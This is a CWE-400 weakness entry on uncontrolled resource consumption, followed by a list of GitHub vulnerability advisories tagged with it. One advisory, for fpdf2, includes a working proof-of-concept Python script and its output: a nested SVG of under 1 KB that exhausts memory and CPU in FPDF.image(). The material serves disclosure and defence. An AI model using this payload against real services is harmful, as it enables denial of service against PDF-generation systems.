Common Weakness Enumeration

CWE-400

Weakness Discouraged

Uncontrolled Resource Consumption

Abstraction: Class · Status: Draft

The product does not properly control the allocation and maintenance of a limited resource.

Dimensions

  • Behavior-Property: Uncontrolled
  • Behavior-Type: Consumption
  • Resource-Type: Resource
Mapping guidance

CWE-400 is intended for incorrect behaviors in which the product is expected to track and restrict how many resources it consumes, but CWE-400 is often misused because it is conflated with the "technical impact" of vulnerabilities in which resource consumption occurs. It is sometimes used for low-information vulnerability reports. It is a level-1 Class (i.e., a child of a Pillar).

Closely analyze the specific mistake that is causing resource consumption, and perform a CWE mapping for that mistake. Consider children/descendants.

Relationships and members
ChildOf: CWE-664 · View CWE-1000
Modes of introduction
Operation

The product could be operated in a system or environment with lower resource limits than expected, which might make it easier for attackers to consume all available resources.

System Configuration

The product could be configured with lower resource limits than expected, which might make it easier for attackers to consume all available resources.

Architecture and Design

The designer might not consider how to handle and throttle excessive resource requests, which typically requires careful planning to handle more gracefully than a crash or exit.

Implementation

There are at least three distinct scenarios that can commonly lead to resource exhaustion:

Lack of throttling for the number of allocated resources.

Losing all references to a resource before reaching the shutdown stage.

Not closing/returning a resource after processing.

Resource exhaustion problems often occur due to an incorrect implementation of the following situations:

Error conditions and other exceptional circumstances.

Confusion over which part of the program is responsible for releasing the resource.

Detection methods

Automated Static Analysis

Automated static analysis typically has limited utility in recognizing resource exhaustion problems, except for program-independent system resources such as files, sockets, and processes. For system resources, automated static analysis may be able to detect circumstances in which resources are not released after they have expired. Automated analysis of configuration files may be able to detect settings that do not specify a maximum value.

Automated static analysis tools will not be appropriate for detecting exhaustion of custom resources, such as an intended security policy in which a bulletin board user is only allowed to make a limited number of posts per day.

Effectiveness: Limited

Automated Dynamic Analysis

Certain automated dynamic analysis techniques may be effective in spotting resource exhaustion problems, especially with resources such as processes, memory, and connections. The technique may involve generating a large number of requests to the product within a short time frame.

Effectiveness: Moderate

Fuzzing

While fuzzing is typically geared toward finding low-level implementation bugs, it can inadvertently find resource exhaustion problems. This can occur when the fuzzer generates a large number of test cases but does not restart the targeted product in between test cases. If an individual test case produces a crash, but it does not do so reliably, then an inability to handle resource exhaustion may be the cause.

Effectiveness: Opportunistic

Notes

Theoretical

Vulnerability theory is largely about how behaviors and resources interact. "Resource exhaustion" can be regarded as either a consequence or an attack, depending on the perspective. This entry is an attempt to reflect the underlying weaknesses that enable these attacks (or consequences) to take place.

Other

Database queries that take a long time to process are good DoS targets. An attacker would have to write a few lines of code to generate enough traffic to exceed the site's ability to keep up. This would effectively prevent authorized users from using the site at all. Resources can be exploited simply by ensuring that the target machine must do much more work and consume more resources in order to service a request than the attacker must do to initiate a request.

A prime example of this can be found in old switches that were vulnerable to "macof" attacks (so named for a tool developed by Dugsong). These attacks flooded a switch with random IP and MAC address combinations, therefore exhausting the switch's cache, which held the information of which port corresponded to which MAC addresses. Once this cache was exhausted, the switch would fail in an insecure way and would begin to act simply as a hub, broadcasting all traffic on all ports and allowing for basic sniffing attacks.

Limited resources include memory, file system storage, database connection pool entries, CPU, and others.

Content history
Submission: CLASP · 2006-07-19 · CWE Draft 3
Contribution: "Mapping CWE to 62443" Sub-Working Group · CWE-CAPEC ICS/OT SIG · 2023-01-24 · CWE 4.10

Suggested mappings to ISA/IEC 62443.

Contribution: "Mapping CWE to 62443" Sub-Working Group · CWE-CAPEC ICS/OT SIG · 2023-04-25 · CWE 4.11

Suggested mappings to ISA/IEC 62443.

Contribution: Abhi Balakrishnan · 2025-02-25 · CWE 4.17

Provided diagram to improve CWE usability.

Modification: Eric Dalci · Cigital · 2008-07-01 · CWE 1.0

updated Time_of_Introduction

Modification: · Veracode · 2008-08-15 · CWE 1.0

Suggested OWASP Top Ten 2004 mapping

Modification: CWE Content Team · MITRE · 2008-09-08 · CWE 1.0

updated Common_Consequences, Relationships, Other_Notes, Taxonomy_Mappings

Modification: CWE Content Team · MITRE · 2008-10-14 · CWE 1.0.1

updated Description, Name, Relationships

Modification: CWE Content Team · MITRE · 2009-01-12 · CWE 1.2

updated Description

Modification: CWE Content Team · MITRE · 2009-05-27 · CWE 1.4

updated Name, Relationships

Modification: CWE Content Team · MITRE · 2009-07-27 · CWE 1.5

updated Description, Relationships

Modification: CWE Content Team · MITRE · 2009-10-29 · CWE 1.6

updated Relationships

Modification: CWE Content Team · MITRE · 2009-12-28 · CWE 1.7

updated Common_Consequences, Demonstrative_Examples, Detection_Factors, Likelihood_of_Exploit, Observed_Examples, Other_Notes, Potential_Mitigations, References

Modification: CWE Content Team · MITRE · 2010-02-16 · CWE 1.8

updated Detection_Factors, Potential_Mitigations, References, Taxonomy_Mappings

Modification: CWE Content Team · MITRE · 2010-04-05 · CWE 1.8.1

updated Related_Attack_Patterns

Modification: CWE Content Team · MITRE · 2010-06-21 · CWE 1.9

updated Description

Modification: CWE Content Team · MITRE · 2010-09-27 · CWE 1.10

updated Demonstrative_Examples

Modification: CWE Content Team · MITRE · 2011-06-01 · CWE 1.13

updated Common_Consequences, Relationships, Taxonomy_Mappings

Modification: CWE Content Team · MITRE · 2012-05-11 · CWE 2.2

updated Demonstrative_Examples, Related_Attack_Patterns, Relationships, Taxonomy_Mappings

Modification: CWE Content Team · MITRE · 2013-07-17 · CWE 2.5

updated Relationships

Modification: CWE Content Team · MITRE · 2014-07-30 · CWE 2.8

updated Relationships, Taxonomy_Mappings

Modification: CWE Content Team · MITRE · 2015-12-07 · CWE 2.9

updated Related_Attack_Patterns, Relationships

Modification: CWE Content Team · MITRE · 2017-01-19 · CWE 2.10

updated Relationships

Modification: CWE Content Team · MITRE · 2017-11-08 · CWE 3.0

updated Applicable_Platforms, Demonstrative_Examples, Likelihood_of_Exploit, Potential_Mitigations, References, Relationships

Modification: CWE Content Team · MITRE · 2018-03-27 · CWE 3.1

updated References, Type

Modification: CWE Content Team · MITRE · 2019-01-03 · CWE 3.2

updated Alternate_Terms, Description, Name, Relationships, Taxonomy_Mappings, Theoretical_Notes

Modification: CWE Content Team · MITRE · 2019-06-20 · CWE 3.3

updated Related_Attack_Patterns, Relationships

Modification: CWE Content Team · MITRE · 2019-09-19 · CWE 3.4

updated Description, Relationships

Modification: CWE Content Team · MITRE · 2020-02-24 · CWE 4.0

updated Description, References, Related_Attack_Patterns, Relationships

Modification: CWE Content Team · MITRE · 2020-06-25 · CWE 4.1

updated Description, Maintenance_Notes

Modification: CWE Content Team · MITRE · 2020-08-20 · CWE 4.2

updated Relationships

Modification: CWE Content Team · MITRE · 2022-04-28 · CWE 4.7

updated Related_Attack_Patterns

Modification: CWE Content Team · MITRE · 2022-06-28 · CWE 4.8

updated Observed_Examples, Relationships

Modification: CWE Content Team · MITRE · 2022-10-13 · CWE 4.9

updated Observed_Examples, Relationships

Modification: CWE Content Team · MITRE · 2023-01-31 · CWE 4.10

updated Common_Consequences, Description, Detection_Factors, Maintenance_Notes, Related_Attack_Patterns, Taxonomy_Mappings

Modification: CWE Content Team · MITRE · 2023-04-27 · CWE 4.11

updated Demonstrative_Examples, Relationships, Taxonomy_Mappings

Modification: CWE Content Team · MITRE · 2023-06-29 · CWE 4.12

updated Mapping_Notes, Relationships

Modification: CWE Content Team · MITRE · 2024-11-19 · CWE 4.16

updated Relationships

Modification: CWE Content Team · MITRE · 2025-04-03 · CWE 4.17

updated Common_Consequences, Description, Diagram, Modes_of_Introduction, Other_Notes, Time_of_Introduction

Modification: CWE Content Team · MITRE · 2025-09-09 · CWE 4.18

updated Observed_Examples, References

Modification: CWE Content Team · MITRE · 2025-12-11 · CWE 4.19

updated Applicable_Platforms, Maintenance_Notes, Weakness_Ordinalities

Modification: CWE Content Team · MITRE · 2026-04-30 · CWE 4.20

updated Applicable_Platforms, Maintenance_Notes, Mapping_Notes, Other_Notes

Modification: CWE Content Team · MITRE · 2026-10-28 · CWE 5.0

updated Applicable_Platforms, Dimensions, References, Relationships, Taxonomy_Mappings

7197 vulnerabilities reference this CWE, most recent first.

GHSA-WQ8H-Q5G7-J5PR

Vulnerability from github – Published: 2022-05-24 17:25 – Updated: 2022-05-24 17:25
VLAI
Details

ise smart connect KNX Vaillant 1.2.839 contain a Denial of Service.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2019-19643"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2020-08-14T15:15:00Z",
    "severity": "MODERATE"
  },
  "details": "ise smart connect KNX Vaillant 1.2.839 contain a Denial of Service.",
  "id": "GHSA-wq8h-q5g7-j5pr",
  "modified": "2022-05-24T17:25:42Z",
  "published": "2022-05-24T17:25:42Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2019-19643"
    },
    {
      "type": "WEB",
      "url": "https://psytester.github.io/CVE-2019-19643"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

GHSA-WQCH-XFXH-VRR4

Vulnerability from github – Published: 2025-11-25 14:20 – Updated: 2025-11-25 18:09
VLAI
Summary
body-parser is vulnerable to denial of service when url encoding is used
Details

Impact

body-parser 2.2.0 is vulnerable to denial of service due to inefficient handling of URL-encoded bodies with very large numbers of parameters. An attacker can send payloads containing thousands of parameters within the default 100KB request size limit, causing elevated CPU and memory usage. This can lead to service slowdown or partial outages under sustained malicious traffic.

Patches

This issue is addressed in version 2.2.1.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "body-parser"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.2.0"
            },
            {
              "fixed": "2.2.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2025-13466"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-11-25T14:20:21Z",
    "nvd_published_at": "2025-11-24T19:15:46Z",
    "severity": "MODERATE"
  },
  "details": "### Impact\n\nbody-parser 2.2.0 is vulnerable to denial of service due to inefficient handling of URL-encoded bodies with very large numbers of parameters. An attacker can send payloads containing thousands of parameters within the default 100KB request size limit, causing elevated CPU and memory usage. This can lead to service slowdown or partial outages under sustained malicious traffic.\n\n### Patches\n\nThis issue is addressed in version 2.2.1.",
  "id": "GHSA-wqch-xfxh-vrr4",
  "modified": "2025-11-25T18:09:52Z",
  "published": "2025-11-25T14:20:21Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/expressjs/body-parser/security/advisories/GHSA-wqch-xfxh-vrr4"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-13466"
    },
    {
      "type": "WEB",
      "url": "https://github.com/expressjs/body-parser/commit/b204886a6744b0b6d297cd0e849d75de836f3b63"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/expressjs/body-parser"
    },
    {
      "type": "WEB",
      "url": "https://github.com/expressjs/body-parser/releases/tag/v2.2.1"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:L/E:P",
      "type": "CVSS_V4"
    }
  ],
  "summary": "body-parser is vulnerable to denial of service when url encoding is used"
}

GHSA-WQFG-PMQ9-XR26

Vulnerability from github – Published: 2026-08-10 15:33 – Updated: 2026-08-19 18:32
VLAI
Details

In the Linux kernel, the following vulnerability has been resolved:

gve: fix Rx queue stall on alloc failure

When the system is under extreme memory pressure, page allocations can fail during the Rx buffer refill loop. If the number of buffers posted to hardware falls below a critical low threshold and the refill loop exits due to allocation failures, the queue can stall:

  1. The device drops incoming packets because there are no descriptors.
  2. Since no packets are processed, no Rx completions are generated.
  3. Because no completions occur, NAPI is never scheduled, preventing the refill loop from running again even after memory is freed.

This results in a permanent queue stall.

Resolve this by introducing a starvation recovery timer for each Rx queue. If the number of buffers posted to hardware falls below a critical low threshold, start a timer to periodically reschedule NAPI. Once NAPI runs and successfully refills the queue above the threshold, the timer is not rescheduled.

The threshold is set to 32 because a single maximum-sized Receive Segment Coalescing (RSC) packet can consume up to 19 descriptors in the Rx path. Lower thresholds (such as 8 or 16) would be insufficient to process a complete maximum-sized RSC packet, risking packet drops or unexpected hardware behavior under memory pressure. Setting the threshold to 32 guarantees a safe margin to handle at least one full RSC packet.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2026-68129"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-08-10T13:19:58Z",
    "severity": "HIGH"
  },
  "details": "In the Linux kernel, the following vulnerability has been resolved:\n\ngve: fix Rx queue stall on alloc failure\n\nWhen the system is under extreme memory pressure, page allocations can\nfail during the Rx buffer refill loop. If the number of buffers posted\nto hardware falls below a critical low threshold and the refill loop\nexits due to allocation failures, the queue can stall:\n\n1. The device drops incoming packets because there are no descriptors.\n2. Since no packets are processed, no Rx completions are generated.\n3. Because no completions occur, NAPI is never scheduled, preventing\n   the refill loop from running again even after memory is freed.\n\nThis results in a permanent queue stall.\n\nResolve this by introducing a starvation recovery timer for each Rx queue.\nIf the number of buffers posted to hardware falls below a critical low\nthreshold, start a timer to periodically reschedule NAPI. Once NAPI runs\nand successfully refills the queue above the threshold, the timer is\nnot rescheduled.\n\nThe threshold is set to 32 because a single maximum-sized Receive Segment\nCoalescing (RSC) packet can consume up to 19 descriptors in the Rx path.\nLower thresholds (such as 8 or 16) would be insufficient to process a\ncomplete maximum-sized RSC packet, risking packet drops or unexpected\nhardware behavior under memory pressure. Setting the threshold to 32\nguarantees a safe margin to handle at least one full RSC packet.",
  "id": "GHSA-wqfg-pmq9-xr26",
  "modified": "2026-08-19T18:32:06Z",
  "published": "2026-08-10T15:33:37Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-68129"
    },
    {
      "type": "WEB",
      "url": "https://git.kernel.org/stable/c/0c317349b4baa5038d1fc373bf46d5a2419d1710"
    },
    {
      "type": "WEB",
      "url": "https://git.kernel.org/stable/c/299d5728a7312fdd02059b074aebbe4ebbd391e4"
    },
    {
      "type": "WEB",
      "url": "https://git.kernel.org/stable/c/42d525e751c61b876b2b0ae4e71ba7a8ab0c2777"
    },
    {
      "type": "WEB",
      "url": "https://git.kernel.org/stable/c/689b9f588d2d7323dc66293fe594a68d030f400f"
    },
    {
      "type": "WEB",
      "url": "https://git.kernel.org/stable/c/91e0249f3ef62b75fe8c9c9372eaba32876e4b3a"
    },
    {
      "type": "WEB",
      "url": "https://git.kernel.org/stable/c/9db46e19e5d6bdcd4bf811284a5b0df1b984ef80"
    },
    {
      "type": "WEB",
      "url": "https://git.kernel.org/stable/c/b65352a1bac64442ad95e64f385b40ccb9f1b0db"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-WQFR-R3Q7-6HMM

Vulnerability from github – Published: 2022-02-12 00:01 – Updated: 2022-09-02 00:01
VLAI
Details

StarWind iSCSI SAN before 3.5 build 2007-08-09 allows socket exhaustion.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2007-20001"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2022-02-06T21:15:00Z",
    "severity": "HIGH"
  },
  "details": "StarWind iSCSI SAN before 3.5 build 2007-08-09 allows socket exhaustion.",
  "id": "GHSA-wqfr-r3q7-6hmm",
  "modified": "2022-09-02T00:01:11Z",
  "published": "2022-02-12T00:01:08Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2007-20001"
    },
    {
      "type": "WEB",
      "url": "https://www.starwindsoftware.com/security/sw-20070601-0001"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-WQH8-3GRF-J8JP

Vulnerability from github – Published: 2023-05-26 18:30 – Updated: 2024-04-04 04:20
VLAI
Details

mp4v2 v2.1.2 was discovered to contain a memory leak via the class MP4BytesProperty.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2023-33720"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400",
      "CWE-770"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2023-05-26T16:15:10Z",
    "severity": "MODERATE"
  },
  "details": "mp4v2 v2.1.2 was discovered to contain a memory leak via the class MP4BytesProperty.",
  "id": "GHSA-wqh8-3grf-j8jp",
  "modified": "2024-04-04T04:20:46Z",
  "published": "2023-05-26T18:30:21Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-33720"
    },
    {
      "type": "WEB",
      "url": "https://github.com/enzo1982/mp4v2/issues/36"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-WQJ7-458Q-4H8G

Vulnerability from github – Published: 2026-05-11 21:31 – Updated: 2026-05-12 15:31
VLAI
Details

A denial of service issue was addressed by removing the vulnerable code. This issue is fixed in macOS Sequoia 15.7.7, macOS Sonoma 14.8.7, macOS Tahoe 26.5. An app may be able to modify protected parts of the file system.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2026-28908"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-05-11T21:18:53Z",
    "severity": "HIGH"
  },
  "details": "A denial of service issue was addressed by removing the vulnerable code. This issue is fixed in macOS Sequoia 15.7.7, macOS Sonoma 14.8.7, macOS Tahoe 26.5. An app may be able to modify protected parts of the file system.",
  "id": "GHSA-wqj7-458q-4h8g",
  "modified": "2026-05-12T15:31:33Z",
  "published": "2026-05-11T21:31:37Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-28908"
    },
    {
      "type": "WEB",
      "url": "https://support.apple.com/en-us/127115"
    },
    {
      "type": "WEB",
      "url": "https://support.apple.com/en-us/127116"
    },
    {
      "type": "WEB",
      "url": "https://support.apple.com/en-us/127117"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-WQVQ-4WVG-4F5C

Vulnerability from github – Published: 2022-05-24 19:13 – Updated: 2022-06-29 00:00
VLAI
Details

A memory consumption issue was addressed with improved memory handling. This issue is fixed in iOS 14.5 and iPadOS 14.5. Processing a maliciously crafted audio file may lead to arbitrary code execution.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2021-30742"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2021-09-08T14:15:00Z",
    "severity": "HIGH"
  },
  "details": "A memory consumption issue was addressed with improved memory handling. This issue is fixed in iOS 14.5 and iPadOS 14.5. Processing a maliciously crafted audio file may lead to arbitrary code execution.",
  "id": "GHSA-wqvq-4wvg-4f5c",
  "modified": "2022-06-29T00:00:50Z",
  "published": "2022-05-24T19:13:48Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-30742"
    },
    {
      "type": "WEB",
      "url": "https://support.apple.com/en-us/HT212317"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-WQW6-WPR3-45RH

Vulnerability from github – Published: 2026-10-27 14:43 – Updated: 2026-10-27 14:43
VLAI
Summary
fpdf2: Exponential SVG '<use>' expansion causes CPU and memory exhaustion in 'FPDF.image()'
Details

Summary

fpdf2 expands SVG <use> references by deep-copying the complete referenced graphics tree. A small SVG can use nested references to make the number of in-memory objects grow exponentially, causing excessive CPU and memory consumption during FPDF.image() processing.

This was reproduced with an 895-byte SVG on fpdf2 2.8.7. Under a 128 MB process limit, the input kept the process busy for about 14 seconds before raising MemoryError.

Details

The issue is in fpdf2's own SVG reference handling. It does not rely on XML entities, external URLs, local files, or vulnerable behavior in another dependency.

When fpdf2 resolves an SVG reference, SVGObject.build_xref() passes the referenced object to GraphicsContext.add_item():

pdf_group.add_item(self.cross_references[ref])

GraphicsContext.add_item() uses clone=True by default and deep-copies the object:

def add_item(self, item, clone=True):
    if clone:
        item = deepcopy(item)
    self.path_items.append(item)

An attacker can define g1 as eight references to g0, g2 as eight references to g1, and so on. Each level adds only a small amount of XML, but fpdf2 copies the entire tree from the previous level eight times. The resulting work grows approximately as 8^n.

ResourceAccessPolicy does not prevent this behavior because the SVG contains only inline objects and does not request any external resource. The same failure was reproduced on development commit a3307f96a0d165831029b3fb644aee5a7ca03328 with ResourceAccessPolicy.NONE.

PoC

This was tested on Linux with Python 3.13.5. The script applies a 128 MB address-space limit so the process fails safely instead of consuming all available system memory.

import resource
import time

from fpdf import FPDF


groups = ['<g id="g0"><rect width="1" height="1"/></g>']
for level in range(1, 6):
    uses = f'<use href="#g{level - 1}"/>' * 8
    groups.append(f'<g id="g{level}">{uses}</g>')

svg = (
    '<svg xmlns="http://www.w3.org/2000/svg" width="1" height="1">'
    '<defs>' + "".join(groups) + '</defs><use href="#g5"/></svg>'
).encode()

pdf = FPDF()
pdf.add_page()

limit = 128 * 1024 * 1024
resource.setrlimit(resource.RLIMIT_AS, (limit, limit))

print(f"payload size: {len(svg)} bytes")
started = time.perf_counter()

try:
    pdf.image(svg, w=10)
except MemoryError:
    elapsed = time.perf_counter() - started
    max_rss = resource.getrusage(resource.RUSAGE_SELF).ru_maxrss
    print(f"MemoryError after {elapsed:.3f}s, max RSS: {max_rss} KiB")
payload size: 895 bytes
MemoryError after 14.336s, max RSS: 115596 KiB

Execution time varies by machine, but the process should show heavy resource use and fail at the configured memory limit.

Impact

This is an uncontrolled resource consumption vulnerability affecting applications that pass user-controlled SVG data to FPDF.image(). A single crafted image can occupy a PDF generation worker for several seconds and then make the current job fail with MemoryError. Submitting the same input concurrently repeats the CPU and memory cost across the available workers, reducing or exhausting the service's PDF generation capacity.

The payload is less than 1 KB and requires no external resource access, XML entities, special network configuration, or permissive fpdf2 settings.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "fpdf2"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.5.0"
            },
            {
              "fixed": "2.8.8"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-114610"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-10-27T14:43:19Z",
    "nvd_published_at": "2026-10-22T18:17:28Z",
    "severity": "MODERATE"
  },
  "details": "### Summary\n\nfpdf2 expands SVG `\u003cuse\u003e` references by deep-copying the complete referenced graphics tree. A small SVG can use nested references to make the number of in-memory objects grow exponentially, causing excessive CPU and memory consumption during `FPDF.image()` processing.\n\nThis was reproduced with an 895-byte SVG on fpdf2 2.8.7. Under a 128 MB process limit, the input kept the process busy for about 14 seconds before raising `MemoryError`. \n\n### Details\n\nThe issue is in fpdf2\u0027s own SVG reference handling. It does not rely on XML entities, external URLs, local files, or vulnerable behavior in another dependency.\n\nWhen fpdf2 resolves an SVG reference, [`SVGObject.build_xref()`](https://github.com/py-pdf/fpdf2/blob/a3307f96a0d165831029b3fb644aee5a7ca03328/fpdf/svg.py#L1584) passes the referenced object to `GraphicsContext.add_item()`:\n\n```python\npdf_group.add_item(self.cross_references[ref])\n```\n\n[`GraphicsContext.add_item()`](https://github.com/py-pdf/fpdf2/blob/a3307f96a0d165831029b3fb644aee5a7ca03328/fpdf/drawing.py#L3618-L3633) uses `clone=True` by default and deep-copies the object:\n\n```python\ndef add_item(self, item, clone=True):\n    if clone:\n        item = deepcopy(item)\n    self.path_items.append(item)\n```\n\nAn attacker can define `g1` as eight references to `g0`, `g2` as eight references to `g1`, and so on. Each level adds only a small amount of XML, but fpdf2 copies the entire tree from the previous level eight times. The resulting work grows approximately as `8^n`.\n\n`ResourceAccessPolicy` does not prevent this behavior because the SVG contains only inline objects and does not request any external resource. The same failure was reproduced on development commit `a3307f96a0d165831029b3fb644aee5a7ca03328` with `ResourceAccessPolicy.NONE`.\n\n### PoC\n\nThis was tested on Linux with Python 3.13.5. The script applies a 128 MB address-space limit so the process fails safely instead of consuming all available system memory.\n\n```python\nimport resource\nimport time\n\nfrom fpdf import FPDF\n\n\ngroups = [\u0027\u003cg id=\"g0\"\u003e\u003crect width=\"1\" height=\"1\"/\u003e\u003c/g\u003e\u0027]\nfor level in range(1, 6):\n    uses = f\u0027\u003cuse href=\"#g{level - 1}\"/\u003e\u0027 * 8\n    groups.append(f\u0027\u003cg id=\"g{level}\"\u003e{uses}\u003c/g\u003e\u0027)\n\nsvg = (\n    \u0027\u003csvg xmlns=\"http://www.w3.org/2000/svg\" width=\"1\" height=\"1\"\u003e\u0027\n    \u0027\u003cdefs\u003e\u0027 + \"\".join(groups) + \u0027\u003c/defs\u003e\u003cuse href=\"#g5\"/\u003e\u003c/svg\u003e\u0027\n).encode()\n\npdf = FPDF()\npdf.add_page()\n\nlimit = 128 * 1024 * 1024\nresource.setrlimit(resource.RLIMIT_AS, (limit, limit))\n\nprint(f\"payload size: {len(svg)} bytes\")\nstarted = time.perf_counter()\n\ntry:\n    pdf.image(svg, w=10)\nexcept MemoryError:\n    elapsed = time.perf_counter() - started\n    max_rss = resource.getrusage(resource.RUSAGE_SELF).ru_maxrss\n    print(f\"MemoryError after {elapsed:.3f}s, max RSS: {max_rss} KiB\")\n```\n\n```text\npayload size: 895 bytes\nMemoryError after 14.336s, max RSS: 115596 KiB\n```\n\nExecution time varies by machine, but the process should show heavy resource use and fail at the configured memory limit.\n\n### Impact\n\nThis is an uncontrolled resource consumption vulnerability affecting applications that pass user-controlled SVG data to `FPDF.image()`. A single crafted image can occupy a PDF generation worker for several seconds and then make the current job fail with `MemoryError`. Submitting the same input concurrently repeats the CPU and memory cost across the available workers, reducing or exhausting the service\u0027s PDF generation capacity.\n\nThe payload is less than 1 KB and requires no external resource access, XML entities, special network configuration, or permissive fpdf2 settings.",
  "id": "GHSA-wqw6-wpr3-45rh",
  "modified": "2026-10-27T14:43:19Z",
  "published": "2026-10-27T14:43:19Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/py-pdf/fpdf2/security/advisories/GHSA-wqw6-wpr3-45rh"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-114610"
    },
    {
      "type": "WEB",
      "url": "https://github.com/py-pdf/fpdf2/pull/1889"
    },
    {
      "type": "WEB",
      "url": "https://github.com/py-pdf/fpdf2/commit/d7bd1061205d50da6a541dadfdb9d66beb763f2f"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/py-pdf/fpdf2"
    },
    {
      "type": "WEB",
      "url": "https://github.com/py-pdf/fpdf2/releases/tag/2.8.8"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "fpdf2: Exponential SVG \u0027\u003cuse\u003e\u0027 expansion causes CPU and memory exhaustion in \u0027FPDF.image()\u0027"
}

GHSA-WQXW-8H5G-HQ56

Vulnerability from github – Published: 2023-02-02 01:33 – Updated: 2023-02-15 17:35
VLAI
Summary
Switcher Client contains Regular Expression Denial of Service (ReDoS)
Details

Impact

Unsanitized input flows into Strategy match operation (EXIST), where it is used to build a regular expression. This may result in a Regular expression Denial of Service attack (reDOS).

Patches

Patched in 3.1.4

Workarounds

Avoid using Strategy settings that use REGEX in conjunction with EXIST and NOT_EXIST operations.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "switcher-client"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "3.1.4"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2023-23925"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1333",
      "CWE-400"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2023-02-02T01:33:06Z",
    "nvd_published_at": "2023-02-03T20:15:00Z",
    "severity": "HIGH"
  },
  "details": "### Impact\nUnsanitized input flows into Strategy match operation (EXIST), where it is used to build a regular expression. This may result in a Regular expression Denial of Service attack (reDOS).\n\n### Patches\nPatched in 3.1.4\n\n### Workarounds\nAvoid using Strategy settings that use REGEX in conjunction with EXIST and NOT_EXIST operations.",
  "id": "GHSA-wqxw-8h5g-hq56",
  "modified": "2023-02-15T17:35:36Z",
  "published": "2023-02-02T01:33:06Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/switcherapi/switcher-client-master/security/advisories/GHSA-wqxw-8h5g-hq56"
    },
    {
